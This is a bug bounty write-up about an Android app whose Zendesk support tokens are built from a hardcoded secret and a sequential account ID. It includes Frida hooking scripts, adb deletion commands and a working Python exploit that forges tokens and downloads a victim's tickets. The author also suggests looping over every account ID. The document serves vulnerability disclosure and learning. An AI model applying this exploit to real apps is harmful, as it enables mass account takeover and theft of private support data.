0-Click Mass Account Takeover via Android App: Access to all Zendesk Tickets


A few months ago, I was working on a private bug bounty program that included the company's Android application. At that time, I was learning about the security of Android applications, so I decided to gain practical experience by analyzing the company's application.
Setup
For the setup testing and phase, my methodology includes two approaches:
Static Analysis: For static analysis, I usually use JADX to reverse engineer Android applications and access their source code
Dynamic Analysis: I Install the app on an emulator such as Android Studio Emulator or Genymotion, and try to hook the Java functions by Frida and proxy network traffic through Burp Suite (bypassing SSL pinning if required) to capture API calls and related data
Reconnaissance
I usually start with dynamic analysis to inspect traffic. Since most apps use SSL pinning, I bypass it with this Frida script, which is highly effective and works on most applications.
After capturing the traffic, I interacted with all the app functions to observe the API calls. In the support section, a POST request was sent to REDACTED.zendesk.com
, which caught my attention. It only sent a token in the request body without any other significant data. An access_token was returned in the response, which was then used to access other support API endpoints, such as opening tickets and retrieving all tickets.
POST /access/sdk/jwt HTTP/2
Host: REDACTED.zendesk.com
Client-Identifier: mobile_sdk_client
User-Agent: Zendesk-SDK/4.1.0 Android/29 Variant/Core
X-Zendesk-Client: mobile/android/sdk/core
X-Zendesk-Client-Version: 4.1.0
Accept-Language: en-us
Accept: application/json
Content-Type: application/json; charset=UTF-8
Content-Length: 71
Accept-Encoding: gzip, deflate, br
{"user":{"token":"131070497_b28e1722087f8fbbde077fa1f372d7e51bbbc415"}}
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 37
Vary: Accept
Strict-Transport-Security: max-age=31536000; includeSubDomains
Cache-Control: no-cache
X-Runtime: 0.139337
X-Zendesk-Zorg: yes
X-Request-Id: 91c07ba5293de51e-TXL
Cf-Cache-Status: DYNAMIC
Nel: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
Cf-Ray: 91c07ba5293de51e-TXL
{"access_token":"Access_Token"}
First things that come to my mind to test here, send this request to the repeater to send it a few times to see if it is a one-time use token or not. After sending it, I noticed the token can be used unlimited times, and each request generates a new valid access_token for me.
The question was how the token is generated. Maybe we got it from another API call. Checking all Burp Suite requests showed no API call creating it, so it was likely generated by the app itself.
I installed the app on another device to see if the token was different, and surprisingly, it was the same. This shows that the token was not time-based or device-specific, so it was worth continuing work on it
Storage
One interesting aspect of the Android application is its storage. It saves files, tokens, data, and other useful items. I usually begin by cloning the entire folder that the application uses, which is located at /data/data/{package}/
in the storage. Then, I open it with a code editor to examine the files and databases, searching through them to extract parameters and other information.
I searched all folders and files for the token and found a single match:
The zendesk-identity
parameter was an initial point for me to start Static Analysis.
Static Analysis
I began using jadx and searched for the zendesk-identity
string throughout the entire source code.
Two files used this name and pointed it to IDENTITY_KEY
and LEGACY_IDENTITY_KEY
in their source code. Opening them, I traced their usage and found a function named storeIdentity
related to what I was looking for:
This function takes identity
as input and saves it into identityStorage
, a variable named IDENTITY_KEY
, which points to zendesk-identity
:
this.identityStorage.put(IDENTITY_KEY, identity);
For confirmation that I'm in the right function or not, I used Firda to hook this function and clicked on the function in the Android application to see if it would be triggered or not:
# frida script
let ZendeskIdentityStorage = Java.use("zendesk.core.ZendeskIdentityStorage");
ZendeskIdentityStorage["storeIdentity"].implementation = function (identity) {
console.log(`ZendeskIdentityStorage.storeIdentity is called: identity=${identity}`);
this["storeIdentity"](identity);
};
It’s the right place, the method simply takes the token as input, goes through some if-else statements, and saves it into storage, so we are one step forward.
Next, I searched the entire source code for the storeIdentity
method to find where it is called, I discovered several files that use it:
I hooked all those functions at runtime and observed that storeIdentity
is called only the first time to save the token. After that, a check confirms its existence and skips it. So, I need to clear the app's entire cache or delete the files storing the token. The command I used to do that for me:
adb shell "rm -rf /data/data/{package}/.*"
adb shell "rm -rf /data/data/{package}/shared_prefs/zendesk_identity.xml"
After some digging, I found this updateAndPersistIdentity
method. It takes Identity
as input, performs checks, such as whether Identity
is null or not, and then passes the identity to the previous function storeIdentity
:
I hook it using this Frida script to verify I am in the right place:
let ZendeskIdentityManager = Java.use("zendesk.core.ZendeskIdentityManager");
ZendeskIdentityManager["updateAndPersistIdentity"].implementation = function (identity) {
console.log(`ZendeskIdentityManager.updateAndPersistIdentity is called: identity=${identity}`);
let result = this["updateAndPersistIdentity"](identity);
console.log(`ZendeskIdentityManager.updateAndPersistIdentity result=${result}`);
return result;
In the next step, I need to look for places where updateAndPersistIdentity
is being called:
There were a few places where the updateAndPersistIdentity
method was being called, one of them, named setIdentity
, caught my attention:
This function, like the previous one, gets Identity
as input. It performs a validity check and passes it to an if statement. This statement checks if the token was saved before or not. If it was, it returns and exits from the method, and if not, it will run other functions and methods, including the updateAndPersistIdentity
method. Just for confirmation, hook it with Frida:
let ZendeskShadow = Java.use("zendesk.core.ZendeskShadow");
ZendeskShadow["setIdentity"].implementation = function (identity) {
console.log(`ZendeskShadow.setIdentity is called: identity=${identity}`);
this["setIdentity"](identity);
};
In this state, I needed to go one step more deep dive and look for places that setIdentity
is being called
After reviewing all the code that calls setIdentity
And chekcing all of them at runtime, I found a method that was exactly what we were looking for → ZendeskHelper.g()
Code Review: The Last Piece of the Puzzle
Let’s analyze the g
method line by line:
public final void g() {
Person value = M.INSTANCE.a().o().getValue();
if (value != null) {
kotlin.jvm.internal.w wVar = kotlin.jvm.internal.w.f43427a;
String str = String.format("REDACTED-%s-%s", Arrays.copyOf(new Object[]{Long.valueOf(value.getRemoteId()), Secrets.f39202a.k()}, 2));
kotlin.jvm.internal.p.g(str, "format(...)");
String str2 = String.format("%s_%s", Arrays.copyOf(new Object[]{Long.valueOf(value.getRemoteId()), r.b(str)}, 2));
kotlin.jvm.internal.p.g(str2, "format(...)");
JwtIdentity jwtIdentity = new JwtIdentity(str2);
Zendesk zendesk2 = Zendesk.INSTANCE;
zendesk2.setIdentity(jwtIdentity);
Support.INSTANCE.init(zendesk2);
}
}
Retrieve user object
Person value = M.INSTANCE.a().o().getValue();
Basically, it retrieves the user object. If it is null, the method stops.
Create a First String
String str = String.format("REDACTED-%s-%s", Arrays.copyOf(new Object[]{value.getRemoteId(), Secrets.f39202a.k()}, 2));
It builds a string with the company name (REDACTED), the Account ID, and a secret, like:
REDACTED-AccountID-Secret
.getRemoteId()
gives the Account ID. This ID is predictable and sequential, creating a major vulnerability in token generation. The output of getRemoteId() is our Account ID:The next part of the first string comes from
Secrets.f39202a.k()
, which consistently returned the secret:987sdasdlkjlakdjf
. Our analysis revealed that this value remains static across all devices and accounts, showing it is a hardcoded secret.ChatGPT Explanation: This function, likely an XOR-based decoding mechanism, reverses an obfuscation, but critically, the underlying secret it reveals is invariant.
Up to this point, I discovered how the first string is created for every user. For example, for my account with the ID 131070497, it would be something like:
REDACTED-131070497-987sdasdlkjlakdjf
Create a Second String
String str2 = String.format("%s_%s", Arrays.copyOf(new Object[]{value.getRemoteId(), r.b(str)}, 2));
For creating a second string, it will join the Account ID with the output of this
r.b(str)
, which you can see the structure of the class below:How does the method
r.b()
work step by step?Creates a MessageDigest instance for SHA-1
Resets and updates it with the UTF-8 encoded bytes of str
Calls digest(), producing the 20-byte SHA-1 hash
Passes that into a() to convert to hex
Returns the hex string
If encoding (UTF-8) or algorithm (SHA-1) is unsupported, prints stack trace and returns an empty string
It simply takes a string, encodes it in UTF-8, computes its SHA-1 digest, and returns the result as a hex string:
As you can see in the screenshot, r.b(str)
takes REDACTED-131070497-987sdasdlkjlakdjf
as input and generate a SHA1 output → b28e1722087f8fbbde077fa1f372d7e51bbbc415
So the whole format of the second string would be something like this:
131070497_b28e1722087f8fbbde077fa1f372d7e51bbbc415
which are exactly the tokens that are sent as a POST request to /access/sdk/jwt
endpoints, and in the response, we get the Access Token
Other parts of the function
Other parts of the
g
method simply initiates the Zendesk support and passes the token tosetIdentity
, among other things.
Exploitation
I discovered how the app creates the Zendesk token. If I were able to generate tokens for other users, I could take over their Zendesk accounts without any action from them. The only dynamic part is the AccountID, which is predictable and can be brute-forced, with no rate limits or lockouts, making mass takeover possible.
The Exploitation Steps:
Generate this token:
REDACTED
+AccountID
+987sdasdlkjlakdjf
Initiate a POST request
https://REDACTED.zendesk.com/access/sdk/jwt
with the token we generatedGet the Access Token
Initiate a request with the Access Token to other APIs to read all tickets, submit a ticket, or perform any actions available in the support section of the application
To make the process easier, I wrote a Python script to perform all the steps:
import hashlib
import requests
def gen_sha1(full_string):
return hashlib.sha1(full_string.encode()).hexdigest()
def get_access_token(UserToken):
url = "https://REDACTED.zendesk.com/access/sdk/jwt"
headers = {"Content-Type": "application/json; charset=UTF-8",}
payload = {"user": {"token": f"{UserToken}"}}
try:
response = requests.post(url, json=payload, headers=headers)
access_token = response.json()['authentication']['access_token']
return access_token
except Exception as err:
print(f"[-]Error: {err}")
def save_all_tickets(access_token, user_id):
url = "https://REDACTED.zendesk.com/api/mobile/requests/"
headers = {"Authorization": f"Bearer {access_token}",}
response = requests.get(url, headers=headers)
filename = f"{user_id}.json"
with open(filename, "wb") as file:
file.write(response.content)
print(f"[+] Tickets saved to: {filename}")
def main():
user_id = input("\nEnter the Person ID: ")
key = "987sdasdlkjlakdjf"
full_string = f"REDACTED-{user_id}-{key}"
sha1_hash = gen_sha1(full_string)
UserToken = f"{user_id}_{sha1_hash}"
print("-----------------")
print(f"\n[+] String: '{full_string}'\n[+] Hash: {sha1_hash}\n[+] UserToken: {UserToken}\n")
access_token = get_access_token(UserToken)
print(f"[+] Access Token: {access_token}\n"
print("[+] Saving All Tickets into a file...")
save_all_tickets(access_token, user_id)
print("[+] Done\n")
main()
As shown in the last screenshot, it worked! By entering the victim’s Account ID as input for the script, we received the victim's Access Token in response. Since the account ID is predictable, we could add a for loop to the script to iterate from 0 to 99999999 and take over every matching account ID. However, because this was a bug bounty program, I stopped at this point and did not proceed further, but I mentioned in the report that this could
Conclusion
I reported it to the program, and we had a long and detailed conversation where I explained step by step how I discovered this flaw. In the end, it was triaged as Critical, and they paid me about $3,000 for this bug, which was not the maximum payout. I even expect a bonus, but in bug bounty programs, things often don't meet our expectations.
Subscribe to my newsletter
Read articles from Omid Rezaei directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by
